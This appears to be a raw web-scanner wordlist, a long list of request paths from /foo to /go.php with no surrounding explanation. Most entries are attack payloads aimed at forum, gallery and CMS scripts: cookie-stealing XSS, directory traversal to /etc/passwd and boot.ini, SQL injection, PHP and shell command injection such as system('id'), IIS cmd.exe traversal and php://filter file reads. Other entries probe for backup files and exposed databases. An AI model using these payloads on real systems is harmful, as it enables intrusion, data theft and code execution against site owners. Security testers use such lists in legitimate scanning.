/foo.gif?sap-isc-key=AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
/foo.php3
/foo/
/foo?SCRIPT_NAME=/../../../../../../../../boot.ini
/foo?SCRIPT_NAME=/../../../../../../../etc/passwd
/footer.inc.php?la_pow_by=%3Cscript%3Ealert%283244%29%3C%2Fscript%3E
/footer.inc.php?la_pow_by=%3Cscript%3Ealert(xss)%3C/script%3E
/footer/
/footers/
/forgot.php
/forgotPassword.asp?txtEmailAddress=%3Cscript%3Ealert%281174%29%3C%2Fscript%3E
/forgot_password.php?email=\"><script>alert(document.cookie)</script>
/form-totaller/
/form-totaller/1764989099.cgi
/form-totaller/form-totaller.cgi
/form-totaller/form-totaller.cgi?_response_top=top.html&_response_data=/etc/passwd&_response_bottom=bottom.html&_divide_by=4
/form/
/formmail.cgi?<script>alert("XSS");</script>
/forms/
/formsmgr/
/formsmgr/storage/261454839.txt
/formsmgr/storage/storage.txt
/foro/YaBB.pl
/forte/1582691772/
/forte/WEB.VER
/forte/cgi_bin/fortecgi.dat
/forte/examples/
/forte/examples/easyweb/easyweb.htm
/forte/examples/softwear/docs/homepage.htm
/forte/examples/sqldemo/sqldemo.htm
/forte/fortecgi.dat
/forum
/forum-ra.asp?n=....//....//....//....//....//....//....//etc.passwd
/forum-ra.asp?n=../../../../../../../../../etc/passwd
/forum-ra.asp?n=../../../../../../../../../etc/passwd%00
/forum-ra.asp?n=/../../../../../../../../../../../boot.ini
/forum-ra.asp?n=/.\"./.\"./.\"./.\"./.\"./boot.ini
/forum-ra.asp?n=/etc/passwd
/forum-ra.asp?n=/etc/passwd%00
/forum-ra.asp?n=c:\boot.ini
/forum-ra_professionnel.asp?n=%60/etc/passwd%60
/forum-ra_professionnel.asp?n=../../../../../../../../../etc/passwd%00
/forum-ra_professionnel.asp?n=../../boot.ini
/forum-ra_professionnel.asp?n=/....../boot.ini
/forum-ra_professionnel.asp?n=/../../../../../../../../../../../../../../../../../../../../boot.ini
/forum-ra_professionnel.asp?n=/../../../../../../etc/passwd
/forum-ra_professionnel.asp?n=/../../../etc/passwd
/forum-ra_professionnel.asp?n=/.\"./.\"./.\"./.\"./.\"./boot.ini
/forum-ra_professionnel.asp?n=/etc/passwd
/forum-ra_professionnel.asp?n=/etc/passwd%00
/forum-ra_professionnel.asp?n=c:\boot.ini
/forum.asp?FORUM_ID=1&ARCHIVE=true&sortfield=lastpost&sortorder=%22%3E%3Cscript%3Efunction+xss%28%29%7Balert%283196%29%3B%7D%3C%2Fscript%3E%3Cbody+onload%3D%22xss%28%29%22%3E
/forum.asp?forum='
/forum.asp?n=%60/etc/passwd%60|41|80040e14|[Microsoft][ODBC_SQL_Server_Driver][SQL_Server]Line_1:_Incorrect_syntax_near_&#039;`&#039;.
/forum.asp?n=../../../../../../../../../etc/passwd%00|41|80040e14|[Microsoft][ODBC_SQL_Server_Driver][SQL_Server]Line_1:_Incorrect_syntax_near_&#039;/&#039;.
/forum.asp?n=../../boot.ini|41|80040e14|[Microsoft][ODBC_SQL_Server_Driver][SQL_Server]Line_1:_Incorrect_syntax_near_&#039;/&#039;.
/forum.asp?n=/....../boot.ini|41|80040e14|[Microsoft][ODBC_SQL_Server_Driver][SQL_Server]Line_1:_Incorrect_syntax_near_&#039;/&#039;.
/forum.asp?n=/../../../../../../../../../../../../../../../../../../../../boot.ini|41|80040e14|[Microsoft][ODBC_SQL_Server_Driver][SQL_Server]Line_1:_Incorrect_syntax_near_&#039;/&#039;.
/forum.asp?n=/../../../../../../etc/passwd|41|80040e14|[Microsoft][ODBC_SQL_Server_Driver][SQL_Server]Line_1:_Incorrect_syntax_near_&#039;/&#039;.
/forum.asp?n=/../../../etc/passwd|41|80040e14|[Microsoft][ODBC_SQL_Server_Driver][SQL_Server]Line_1:_Incorrect_syntax_near_&#039;/&#039;.
/forum.asp?n=/.\"./.\"./.\"./.\"./.\"./boot.ini|41|80040e14|[Microsoft][ODBC_SQL_Server_Driver][SQL_Server]Line_1:_Incorrect_syntax_near_&#039;/&#039;.
/forum.asp?n=/etc/passwd%00|41|80040e14|[Microsoft][ODBC_SQL_Server_Driver][SQL_Server]Line_1:_Incorrect_syntax_near_&#039;/&#039;.
/forum.asp?n=/etc/passwd|41|80040e14|[Microsoft][ODBC_SQL_Server_Driver][SQL_Server]Line_1:_Incorrect_syntax_near_&#039;/&#039;.
/forum.asp?n=c:\boot.ini|41|80040e14|[Microsoft][ODBC_SQL_Server_Driver][SQL_Server]Line_1:_Incorrect_syntax_near_&#039;c:&#039;.
/forum.php?act=
/forum.php?channel=0%20union%20select%20*%20from%20force_mysql_table_error
/forum.php?date_show=%22%2F%3E%3Cscript%3Ealert%289618%29%3C%2Fscript%3E
/forum.php?forum=-1%20union%20select%20password,password,null,null%20from%20test_mysql_injection%20where%20uid=1/*
/forum.php?forum_id=%22%3E%3Cscript%3Ealert%282896%29%3C%2Fscript%3E&category_id=1
/forum.php?msg=%27
/forum.php?msg=2'force_mysql_num_rows_warning
/forum.php?open=%22%2F%3E%3Cscript%3Ealert%289616%29%3C%2Fscript%3E
/forum.php?seite=
/forum/
/forum/1861878392.asp
/forum/638737730.php
/forum/action.php
/forum/admin/database/wwForum.mdb
/forum/admin/wwforum.mdb
/forum/database/1711163.mdb
/forum/database/philboard.mdb
/forum/forum.php?view=
/forum/forumdisplay.php?fid=1&threadlist=<body%20onload=alert(document.cookie);>
/forum/forums/forum.asp?forumid=1&page=0'
/forum/include/common/comfinish.cfm?FTRESULT.errorcode=0&FTVAR_SCRIPTRUN=alert%289048%29
/forum/include/error/autherror.cfm?FTVAR_URLP=x&errorcode=%27
/forum/include/error/autherror.cfm?errorcode=1&FTVAR_LINKP=%22%3E%3C%2Fa%3E%3Cscript%3Ealert%289052%29%3C%2Fscript%3E%3Ca+href%3D%22
/forum/include/error/autherror.cfm?errorcode=1&FTVAR_URLP=%22%3E%3Cscript%3Ealert%289054%29%3C%2Fscript%3E
/forum/index.php?act=Post&CODE=02&f=4&t=3&qpid='
/forum/index.php?automodule=blog&blogid=14&cmd=showentry&eid=4'
/forum/index.php?limit='
/forum/index.php?method=&lt;script&gt;alert('Vulnerable')&lt;/script&gt;
/forum/mainfile.php
/forum/member.php
/forum/memberlist.php?s=23c37cf1af5d2ad05f49361b0407ad9e&what=\">\"<script>javascript:alert(document.cookie)</script>
/forum/misc.php?action=search&restrict=<body%20onload=alert(document.cookie);>
/forum/misc.php?action=search&restrict=private='
/forum/newreply.php
/forum/newthread.php
/forum/phpinfo.php?foobar=<script>alert(document.cookie);</script>
/forum/pop_up_ip_blocking.asp?laryCheckedIPAddrID='
/forum/pop_up_member_search.asp
/forum/post.php?action=newthread&fid=1&message="></textarea><body%20onload=alert(document.cookie);>
/forum/register.php
/forum/stats.php?action=view&latest="></textarea><body%20onload=alert(document.cookie);>
/forum/stats.php?action=view&replymost="></textarea><body%20onload=alert(document.cookie);>
/forum/stats.php?action=view&viewmost="></textarea><body%20onload=alert(document.cookie);>
/forum/today.php?restrict=<body%20onload=alert(document.cookie);>
/forum/users.php?mode=viewprofile&viewuser_id='
/forum/viewforum.php?forum='
/forum/viewforum.php?forum_id=1&lastvisited=%27
/forum/viewforum.php?id=123456&postorder=%22%3E%3Cscript%3Ealert%28878%29%3C/script%3E%3C
/forum/viewforum.php?id=123456789123456789
/forum/viewforum.php?id=t=123456&postorder=%22%3E%3Cscript%3Ealert%28880%29%3C/script%3E%3C
/forum/viewforum.php?mode=view&id='
/forum/viewtopic.php
/forum/xmb.php?show=version&xmbuser=foobar><body%20onload=alert(document.cookie);>
/forum1.asp?n=%60/etc/passwd%60&amp;nn=269|200|800a0bcd|Either_BOF_or_EOF_is_True__or_the_current_record_has_been_deleted._Requested_operation_requires_a_current_record.
/forum1.asp?n=....//....//....//....//....//....//....//etc.passwd&amp;nn=269|200|800a0bcd|Either_BOF_or_EOF_is_True__or_the_current_record_has_been_deleted._Requested_operation_requires_a_current_record.
/forum1.asp?n=../../../../../../../../../etc/passwd%00&amp;nn=269|200|800a0bcd|Either_BOF_or_EOF_is_True__or_the_current_record_has_been_deleted._Requested_operation_requires_a_current_record.
/forum1.asp?n=../../boot.ini&amp;nn=269|200|800a0bcd|Either_BOF_or_EOF_is_True__or_the_current_record_has_been_deleted._Requested_operation_requires_a_current_record.
/forum1.asp?n=/....../boot.ini&amp;nn=269|200|800a0bcd|Either_BOF_or_EOF_is_True__or_the_current_record_has_been_deleted._Requested_operation_requires_a_current_record.
/forum1.asp?n=/../../../../../../../../../../../../../../../../../../../../boot.ini&amp;nn=269|200|800a0bcd|Either_BOF_or_EOF_is_True__or_the_current_record_has_been_deleted._Requested_operation_requires_a_current_record.
/forum1.asp?n=/../../../../../../etc/passwd&amp;nn=269|200|800a0bcd|Either_BOF_or_EOF_is_True__or_the_current_record_has_been_deleted._Requested_operation_requires_a_current_record.
/forum1.asp?n=/../../../etc/passwd&amp;nn=269|200|800a0bcd|Either_BOF_or_EOF_is_True__or_the_current_record_has_been_deleted._Requested_operation_requires_a_current_record.
/forum1.asp?n=/.\"./.\"./.\"./.\"./.\"./boot.ini&amp;nn=269|200|800a0bcd|Either_BOF_or_EOF_is_True__or_the_current_record_has_been_deleted._Requested_operation_requires_a_current_record.
/forum1.asp?n=/etc/passwd%00&amp;nn=269|200|800a0bcd|Either_BOF_or_EOF_is_True__or_the_current_record_has_been_deleted._Requested_operation_requires_a_current_record.
/forum1.asp?n=/etc/passwd&amp;nn=269|200|800a0bcd|Either_BOF_or_EOF_is_True__or_the_current_record_has_been_deleted._Requested_operation_requires_a_current_record.
/forum1.asp?n=1753&amp;nn=%60/etc/passwd%60
/forum1.asp?n=1753&amp;nn=....//....//....//....//....//....//....//etc.passwd
/forum1.asp?n=1753&amp;nn=../../../../../../../../../../etc/passwd
/forum1.asp?n=1753&amp;nn=../../../../../../../../../../etc/passwd%00
/forum1.asp?n=1753&amp;nn=/....../boot.ini
/forum1.asp?n=1753&amp;nn=/..../boot.ini
/forum1.asp?n=1753&amp;nn=/../../../../../../../../../../../../../../../../../../../../boot.ini
/forum1.asp?n=1753&amp;nn=/.\"./.\"./.\"./.\"./.\"./boot.ini
/forum1.asp?n=1753&amp;nn=/etc/passwd
/forum1.asp?n=1753&amp;nn=/etc/passwd%00
/forum1.asp?n=1753&amp;nn=c:\boot.ini
/forum1.asp?n=c:\boot.ini&amp;nn=269|200|800a0bcd|Either_BOF_or_EOF_is_True__or_the_current_record_has_been_deleted._Requested_operation_requires_a_current_record.
/forum1_professionnel.asp?n=%60/etc/passwd%60&amp;nn=100&amp;page=1|234|800a0bcd|Either_BOF_or_EOF_is_True__or_the_current_record_has_been_deleted._Requested_operation_requires_a_current_record.
/forum1_professionnel.asp?n=....//....//....//....//....//....//....//etc.passwd&amp;nn=100&amp;page=1|234|800a0bcd|Either_BOF_or_EOF_is_True__or_the_current_record_has_been_deleted._Requested_operation_requires_a_current_record.
/forum1_professionnel.asp?n=../../../../../../../../../etc/passwd%00&amp;nn=100&amp;page=1|234|800a0bcd|Either_BOF_or_EOF_is_True__or_the_current_record_has_been_deleted._Requested_operation_requires_a_current_record.
/forum1_professionnel.asp?n=/....../boot.ini&amp;nn=100&amp;page=1|234|800a0bcd|Either_BOF_or_EOF_is_True__or_the_current_record_has_been_deleted._Requested_operation_requires_a_current_record.
/forum1_professionnel.asp?n=/.../.../.../.../.../.../boot.ini&amp;nn=100&amp;page=1|234|800a0bcd|Either_BOF_or_EOF_is_True__or_the_current_record_has_been_deleted._Requested_operation_requires_a_current_record.
/forum1_professionnel.asp?n=/../../../../../../../../../../../../../../../../../../../../boot.ini&amp;nn=100&amp;page=1|234|800a0bcd|Either_BOF_or_EOF_is_True__or_the_current_record_has_been_deleted._Requested_operation_requires_a_current_record.
/forum1_professionnel.asp?n=/../../../../../../../../etc/passwd&amp;nn=100&amp;page=1|234|800a0bcd|Either_BOF_or_EOF_is_True__or_the_current_record_has_been_deleted._Requested_operation_requires_a_current_record.
/forum1_professionnel.asp?n=/.\"./.\"./.\"./.\"./.\"./boot.ini&amp;nn=100&amp;page=1|234|800a0bcd|Either_BOF_or_EOF_is_True__or_the_current_record_has_been_deleted._Requested_operation_requires_a_current_record.
/forum1_professionnel.asp?n=/etc/passwd%00&amp;nn=100&amp;page=1|234|800a0bcd|Either_BOF_or_EOF_is_True__or_the_current_record_has_been_deleted._Requested_operation_requires_a_current_record.
/forum1_professionnel.asp?n=/etc/passwd&amp;nn=100&amp;page=1|234|800a0bcd|Either_BOF_or_EOF_is_True__or_the_current_record_has_been_deleted._Requested_operation_requires_a_current_record.
/forum1_professionnel.asp?n=1771&amp;nn=%60/etc/passwd%60&amp;page=1
/forum1_professionnel.asp?n=1771&amp;nn=....//....//....//....//....//....//....//etc.passwd&amp;page=1
/forum1_professionnel.asp?n=1771&amp;nn=../../../../../../../../../etc/passwd%00&amp;page=1
/forum1_professionnel.asp?n=1771&amp;nn=/....../boot.ini&amp;page=1
/forum1_professionnel.asp?n=1771&amp;nn=/../../../../../../../../../../../../../../../../../../../../boot.ini&amp;page=1
/forum1_professionnel.asp?n=1771&amp;nn=/../../../../../../../../etc/passwd&amp;page=1
/forum1_professionnel.asp?n=1771&amp;nn=/.\"./.\"./.\"./.\"./.\"./boot.ini&amp;page=1
/forum1_professionnel.asp?n=1771&amp;nn=/etc/passwd%00&amp;page=1
/forum1_professionnel.asp?n=1771&amp;nn=/etc/passwd&amp;page=1
/forum1_professionnel.asp?n=1771&amp;nn=100&amp;page=%60/etc/passwd%60
/forum1_professionnel.asp?n=1771&amp;nn=100&amp;page=....//....//....//....//....//....//....//etc.passwd
/forum1_professionnel.asp?n=1771&amp;nn=100&amp;page=../../../../../../../../../etc/passwd%00
/forum1_professionnel.asp?n=1771&amp;nn=100&amp;page=/....../boot.ini
/forum1_professionnel.asp?n=1771&amp;nn=100&amp;page=/..../boot.ini
/forum1_professionnel.asp?n=1771&amp;nn=100&amp;page=/.../.../.../.../.../.../boot.ini
/forum1_professionnel.asp?n=1771&amp;nn=100&amp;page=/../../../../../../../../../../../../../../../../../../../../boot.ini
/forum1_professionnel.asp?n=1771&amp;nn=100&amp;page=/../../../../../../../../../../etc/passwd
/forum1_professionnel.asp?n=1771&amp;nn=100&amp;page=/.\"./.\"./.\"./.\"./.\"./boot.ini
/forum1_professionnel.asp?n=1771&amp;nn=100&amp;page=/etc/passwd
/forum1_professionnel.asp?n=1771&amp;nn=100&amp;page=/etc/passwd%00
/forum1_professionnel.asp?n=1771&amp;nn=100&amp;page=c:\boot.ini
/forum1_professionnel.asp?n=1771&amp;nn=c:\boot.ini&amp;page=1
/forum1_professionnel.asp?n=c:\boot.ini&amp;nn=100&amp;page=1|234|800a0bcd|Either_BOF_or_EOF_is_True__or_the_current_record_has_been_deleted._Requested_operation_requires_a_current_record.
/forum_arc.asp?n=%60/etc/passwd%60|36|80040e14|[Microsoft][ODBC_SQL_Server_Driver][SQL_Server]Line_1:_Incorrect_syntax_near_&#039;`&#039;.
/forum_arc.asp?n=../../../../../../../../../etc/passwd%00|36|80040e14|[Microsoft][ODBC_SQL_Server_Driver][SQL_Server]Line_1:_Incorrect_syntax_near_&#039;/&#039;.
/forum_arc.asp?n=/....../boot.ini|36|80040e14|[Microsoft][ODBC_SQL_Server_Driver][SQL_Server]Line_1:_Incorrect_syntax_near_&#039;/&#039;.
/forum_arc.asp?n=/.../.../.../.../.../.../boot.ini|36|80040e14|[Microsoft][ODBC_SQL_Server_Driver][SQL_Server]Line_1:_Incorrect_syntax_near_&#039;/&#039;.
/forum_arc.asp?n=/../../../../../../../../../../../../../../../../../../../../boot.ini|36|80040e14|[Microsoft][ODBC_SQL_Server_Driver][SQL_Server]Line_1:_Incorrect_syntax_near_&#039;/&#039;.
/forum_arc.asp?n=/../../../../../../../../etc/passwd|36|80040e14|[Microsoft][ODBC_SQL_Server_Driver][SQL_Server]Line_1:_Incorrect_syntax_near_&#039;/&#039;.
/forum_arc.asp?n=/.\"./.\"./.\"./.\"./.\"./boot.ini|36|80040e14|[Microsoft][ODBC_SQL_Server_Driver][SQL_Server]Line_1:_Incorrect_syntax_near_&#039;/&#039;.
/forum_arc.asp?n=/etc/passwd%00|36|80040e14|[Microsoft][ODBC_SQL_Server_Driver][SQL_Server]Line_1:_Incorrect_syntax_near_&#039;/&#039;.
/forum_arc.asp?n=/etc/passwd|36|80040e14|[Microsoft][ODBC_SQL_Server_Driver][SQL_Server]Line_1:_Incorrect_syntax_near_&#039;/&#039;.
/forum_arc.asp?n=268
/forum_arc.asp?n=c:\boot.ini|36|80040e14|[Microsoft][ODBC_SQL_Server_Driver][SQL_Server]Line_1:_Incorrect_syntax_near_&#039;c:&#039;.
/forum_members.asp?find=%22;}alert('Vulnerable');function%20x(){v%20=%22
/forum_professionnel.asp?n=%60/etc/passwd%60|41|80040e14|[Microsoft][ODBC_SQL_Server_Driver][SQL_Server]Line_1:_Incorrect_syntax_near_&#039;`&#039;.
/forum_professionnel.asp?n=....//....//....//....//....//....//....//etc.passwd|41|80040e14|[Microsoft][ODBC_SQL_Server_Driver][SQL_Server]Line_1:_Incorrect_syntax_near_&#039;/&#039;.
/forum_professionnel.asp?n=../../../../../../../../../etc/passwd%00|41|80040e14|[Microsoft][ODBC_SQL_Server_Driver][SQL_Server]Line_1:_Incorrect_syntax_near_&#039;/&#039;.
/forum_professionnel.asp?n=/....../boot.ini|41|80040e14|[Microsoft][ODBC_SQL_Server_Driver][SQL_Server]Line_1:_Incorrect_syntax_near_&#039;/&#039;.
/forum_professionnel.asp?n=/.../.../.../.../.../.../boot.ini|41|80040e14|[Microsoft][ODBC_SQL_Server_Driver][SQL_Server]Line_1:_Incorrect_syntax_near_&#039;/&#039;.
/forum_professionnel.asp?n=/../../../../../../../../../../../../../../../../../../../../boot.ini|41|80040e14|[Microsoft][ODBC_SQL_Server_Driver][SQL_Server]Line_1:_Incorrect_syntax_near_&#039;/&#039;.
/forum_professionnel.asp?n=/../../../../../../../../etc/passwd|41|80040e14|[Microsoft][ODBC_SQL_Server_Driver][SQL_Server]Line_1:_Incorrect_syntax_near_&#039;/&#039;.
/forum_professionnel.asp?n=/.\"./.\"./.\"./.\"./.\"./boot.ini|41|80040e14|[Microsoft][ODBC_SQL_Server_Driver][SQL_Server]Line_1:_Incorrect_syntax_near_&#039;/&#039;.
/forum_professionnel.asp?n=/etc/passwd%00|41|80040e14|[Microsoft][ODBC_SQL_Server_Driver][SQL_Server]Line_1:_Incorrect_syntax_near_&#039;/&#039;.
/forum_professionnel.asp?n=/etc/passwd|41|80040e14|[Microsoft][ODBC_SQL_Server_Driver][SQL_Server]Line_1:_Incorrect_syntax_near_&#039;/&#039;.
/forum_professionnel.asp?n=100
/forum_professionnel.asp?n=c:\boot.ini|41|80040e14|[Microsoft][ODBC_SQL_Server_Driver][SQL_Server]Line_1:_Incorrect_syntax_near_&#039;c:&#039;.
/forumdisplay.php?GLOBALS[]=1&f=2&comma=\".system('id').\"
/forumdisplay.php?fid=1&GLOBALS%5B%5D=1&modlist=%3Cscript%3Ealert%281556%29%3C%2Fscript%3E
/forumdisplay.php?fid=1&GLOBALS%5B%5D=1&onlinemembers=%3Cscript%3Ealert%281558%29%3C%2Fscript%3E
/forumdisplay.php?fid=1&threadlist=<script>alert(document.cookie);</script>
/forumdisplay.php?fid=2&GLOBALS%5B%5D=1&announcements=%3Cscript%3Ealert%281560%29%3C%2Fscript%3E
/forumdisplay.php?fid=2&sortby=%27
/forumdisplay.php?fid=2&sortby=%27%5D%3Bphpinfo%28%29%3Bexit%3B%2F%2F
/forumfolder/activate.php?uid=11&ac=0
/forumpollrenderer.php?cmd=ls%20-la&xoopsConfig[language]=../../../../../../../../boot.ini%00&bbPath[path]=AppScan
/forumpollrenderer.php?cmd=ls%20-la&xoopsConfig[language]=../../../../../../../../etc/passwd%00&bbPath[path]=AppScan
/forumpollrenderer.php?cmd=ls%20-la&xoopsConfig[language]=../../../../../../../../winnt/win.ini%00&bbPath[path]=AppScan
/forums.php
/forums.php?cat_id=%27
/forums.php?filter=forums%2Ephp%3Fc%3Dskin&x='
/forums.php?m=topics&s='
/forums/
/forums/143212985.php
/forums/@ADMINconfig.php
/forums/browse.php?fid=3&tid=46&go=<script>JavaScript:alert('Vulnerable');</script>
/forums/config.php
/forums/index.php?act=Members&max_results=30&filter=1&sort_order=asc&sort_key=name&st='
/forums/index.php?act=reputation&fid=5&pid=%27
/forums/index.php?board=;action=login2&user=USERNAME&cookielength=120&passwrd=PASSWORD<script>alert('Vulnerable')</script>
/forums/index.php?top_message=&lt;script&gt;alert(document.cookie)&lt;/script&gt; 
/forumscalendar.php?calbirthdays=1&action=getday&day=2001-8-15&comma=%22;echo%20'';%20echo%20%60id%20%60;die();echo%22
/forumzcalendar.php?calbirthdays=1&action=getday&day=2001-8-15&comma=%22;echo%20'';%20echo%20%60id%20%60;die();echo%22
/forward/
/forwarder=&forwarder=%0d%0a%0d%0a%3Chtml%3EHELLO
/forwards/
/foto/
/fotos/
/fpadmin
/fpadmin/
/fpdb/
/fpdb/1430202231.mdb
/fpdb/shop.mdb
/fpsample/
/fpsample/..%%35%63../..%%35%63../..%%35%63../winnt/system32/cmd.exe?/c+dir
/fpsample/..%%35c../..%%35c../..%%35c../winnt/system32/cmd.exe?/c+dir
/fpsample/..%255c..%255c..%255c..%255cwinnt/system32/1291310455.exe
/fpsample/..%255c..%255c..%255c..%255cwinnt/system32/cmd.exe?/c+dir
/fpsample/..%255c../..%255c../..%255c../winnt/system32/452998381.exe
/fpsample/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir
/fpsample/..%c0%ae%c0%ae/%c0%ae%c0%ae/winnt/system32/640270135.exe
/fpsample/..%c0%ae%c0%ae/%c0%ae%c0%ae/winnt/system32/cmd.exe?/c+dir
/fpsample/..%e0%80%af../winnt/system32/947029497.exe
/fpsample/..%e0%80%af../winnt/system32/cmd.exe?/c+dir
/fpsample/..%f0%80%80%af../winnt/system32/1366185534.exe
/fpsample/..%f0%80%80%af../winnt/system32/cmd.exe?/c+dir
/fpsample/..%f8%80%80%80%af../winnt/system32/408385852.exe
/fpsample/..%f8%80%80%80%af../winnt/system32/cmd.exe?/c+dir
/fpsample/..%fc%80%80%80%80%af../winnt/system32/1178913780.exe
/fpsample/..%fc%80%80%80%80%af../winnt/system32/cmd.exe?/c+dir
/fr/
/frag.php?exec=
/frame.php?loc=
/framesets/
/friend.php?op=FriendSend&sid=-1%27
/friend.php?op=SiteSent&fname=<script>alert('Vulnerable')</script>
/friend.php?op=SiteSent&fname=<script>alert(document.cookie)</script>
/frontend/
/frontend/files/seldir.html?dir=%3Cscript%3Ealert%283446%29%3C%2Fscript%3E
/frontend/htaccess/newuser.html?user=%3Cscript%3Ealert%283448%29%3C%2Fscript%3E&pass=&dir=%3Cscript%3Ealert%283448%29%3C%2Fscript%3E
/frontend/x/mail/1797991032.html
/frontend/x/mail/addhandle.html?ext=phpz&handle=<script>alert(document.cookie)</script>
/frontend/x/mail/dodelautores.html?email=<script>alert(document.cookie)</script>
/froogle/setup.php?option=step2
/ftp
/ftp/
/ftp_index.php?path=%3Cscript%3Ealert%282944%29%3C%2Fscript%3E
/ftp_users.php?plan_id=%27
/ftp_users.php?plan_id=35&domain=%27
/ftplogin/?login=%22%3E%3Cscript%3Ealert%282690%29%3C%2Fscript%3E
/ftproot/
/fuck.exe
/fullnews.php?id=<script>alert(document.cookie)</script>
/fun/
/functions.inc
/functions.inc.php+
/functions.php?clang=../../../etc/passwd
/functions.php?include_path=
/functions/
/functions/16634444.php
/functions/popup.php?ev=f00b4r&readFile0&readSQL=2&showCat=&oc=2
/fwd/
/fx/
/g/
/galerie.php?do=
/gallery.php?*[*]*=
/gallery.php?abre=
/gallery.php?action=
/gallery.php?action=viewImage&image_id=%27
/gallery.php?addr=
/gallery.php?album=%27
/gallery.php?album=%3Cscript%3Ealert%289602%29%3C%2Fscript%3E
/gallery.php?base_dir=
/gallery.php?basepath=
/gallery.php?chapter=
/gallery.php?cont=
/gallery.php?corpo=
/gallery.php?disp=
/gallery.php?ev=
/gallery.php?eval=
/gallery.php?filepath=
/gallery.php?get=
/gallery.php?gid=-9696%27
/gallery.php?go=
/gallery.php?h=
/gallery.php?id=
/gallery.php?index=
/gallery.php?itemnav=
/gallery.php?ki=
/gallery.php?left=
/gallery.php?loader=
/gallery.php?menu=
/gallery.php?menue=
/gallery.php?mid=
/gallery.php?mod=
/gallery.php?module=
/gallery.php?my=
/gallery.php?name=
/gallery.php?nivel=
/gallery.php?oldal=
/gallery.php?open=
/gallery.php?option=
/gallery.php?pag=
/gallery.php?page=
/gallery.php?pageweb=
/gallery.php?panel=
/gallery.php?param=
/gallery.php?pg=
/gallery.php?phpbb_root_path=
/gallery.php?pname=
/gallery.php?pollname=
/gallery.php?pre=
/gallery.php?pref=
/gallery.php?qry=
/gallery.php?redirect=
/gallery.php?ref=
/gallery.php?rub=
/gallery.php?sec=
/gallery.php?secao=
/gallery.php?seccion=
/gallery.php?seite=
/gallery.php?showpage=
/gallery.php?sivu=
/gallery.php?sp=
/gallery.php?strona=
/gallery.php?thispage=
/gallery.php?tipo=
/gallery.php?to=
/gallery.php?url=
/gallery.php?var=
/gallery.php?viewpage=
/gallery.php?where=
/gallery.php?xlink=
/gallery.php?y=
/gallery/
/gallery/Database/listpics.mdb
/gallery/captionator.php
/gallery/errors/configmode.php
/gallery/errors/needinit.php
/gallery/errors/reconfigure.php
/gallery/errors/unconfigured.php
/gallery/folderview.asp?folder=%3Cscript%3Ealert%28970%29%3C%2Fscript%3E
/gallery/folderview.asp?folder=./../../../../../../../../winnt/repair
/gallery/folderview.asp?folder=Sport+Champions/../../../../../../../../
/gallery/index.php?include=../../../../../../../../../etc/passwd
/gallery/init.php?HTTP_POST_VARS=
/gallery/search.php?searchstring=<script>alert(document.cookie)</script>
/gallery2/main.php?g2_itemId=/../../../../../../../boot.ini%00
/gallery2/main.php?g2_itemId=/../../../../../../../etc/passwd%00
/ganglia/
/gb/
/gb/1833850886.php
/gb/index.php?login=true
/gb/xGB.php?act=admin&do=edit
/gbcms_php_files/up_loader.php
/gbook.php?page=<script>alert('CSS')</script>
/gbpro/top.php?header=../../../../../../../../../../../../../etc/passwd
/geeklog/getimage.php?mode=show&image=.%2F%3CIMG+SRC%3D%27JaVaScRiPt%3Aalert%282804%29%27%3E
/geeklog/getimage.php?mode=show&image=dd
/geeklog/layout/professional/functions.php
/geeklog/users.php
/gen_m3u.php?phpbb_root_path=/../../../../../../../../boot.ini%00
/gen_m3u.php?phpbb_root_path=/../../../../../../../../etc/passwd%00
/gen_m3u.php?phpbb_root_path=/../../../../../../../../winnt/win.ini%00
/general.chl+
/general.php?abre=
/general.php?addr=
/general.php?adresa=
/general.php?b=
/general.php?base_dir=
/general.php?body=
/general.php?channel=
/general.php?chapter=
/general.php?choix=
/general.php?cmd=
/general.php?content=
/general.php?doshow=
/general.php?e=
/general.php?f=
/general.php?get=
/general.php?goto=
/general.php?header=
/general.php?id=
/general.php?inc=
/general.php?include=
/general.php?ir=
/general.php?itemnav=
/general.php?left=
/general.php?link=
/general.php?menu=
/general.php?menue=
/general.php?mid=
/general.php?middle=
/general.php?modo=
/general.php?module=
/general.php?my=
/general.php?name=
/general.php?nivel=
/general.php?opcion=
/general.php?p=
/general.php?page=
/general.php?pageweb=
/general.php?pollname=
/general.php?pr=
/general.php?pre=
/general.php?qry=
/general.php?read=
/general.php?redirect=
/general.php?ref=
/general.php?rub=
/general.php?secao=
/general.php?seccion=
/general.php?second=
/general.php?section=
/general.php?seite=
/general.php?sekce=
/general.php?sivu=
/general.php?strona=
/general.php?subject=
/general.php?texto=
/general.php?thispage=
/general.php?tipo=
/general.php?to=
/general.php?type=
/general.php?var=
/general.php?w=
/general.php?where=
/general.php?xlink=
/general/sendpassword.php?action=send
/get.php?catid='
/get.php?username=%3Cbr%3E%3Cb%3Eforce_xss_for_test%3C/b%3E%3Cbr%3E
/get_od_toc.pl?Profile=
/getaccess
/getfile.cfm
/getfile.php?cat=%27
/getnewsitem.php?newsid=999/**/UNION/**/SELECT/**/1,1122334455,5544332211,135,2/*
/gfx/
/girl/
/girls/
/glba/
/global
/global.-old
/global.000
/global.1st
/global.arc
/global.asa
/global.asa.-old
/global.asa.000
/global.asa.1st
/global.asa.bac
/global.asa.backup
/global.asa.bak
/global.asa.bakup
/global.asa.old
/global.asa.orig
/global.asa.temp
/global.asa.tmp
/global.asa.~1
/global.asa.~bk
/global.bac
/global.backup
/global.bak
/global.inc
/global.old
/global.orig
/global.php?bbclosedwarning=%3Cscript%3Ealert%281544%29%3C%2Fscript%3E
/global.php?templatesused=%27
/global.rar
/global.temp
/global.tmp
/global.~bk
/global/
/globalaccounts/
/globals
/globals.jsa
/globals.php3
/globals.php3?LangCookie=XXnonexistentXX
/globals.pl
/global~1
/glossary.php?term=
/glossary/
/go.php?url=php%3A%2F%2Ffilter%2Fresource%3Dfile%3A%2F%2F%2F%2Fetc%2Fpasswd%2500&untrusted=1
/go.php?url=php://filter/resource=file:///C:\boot.ini%00&untrusted=1
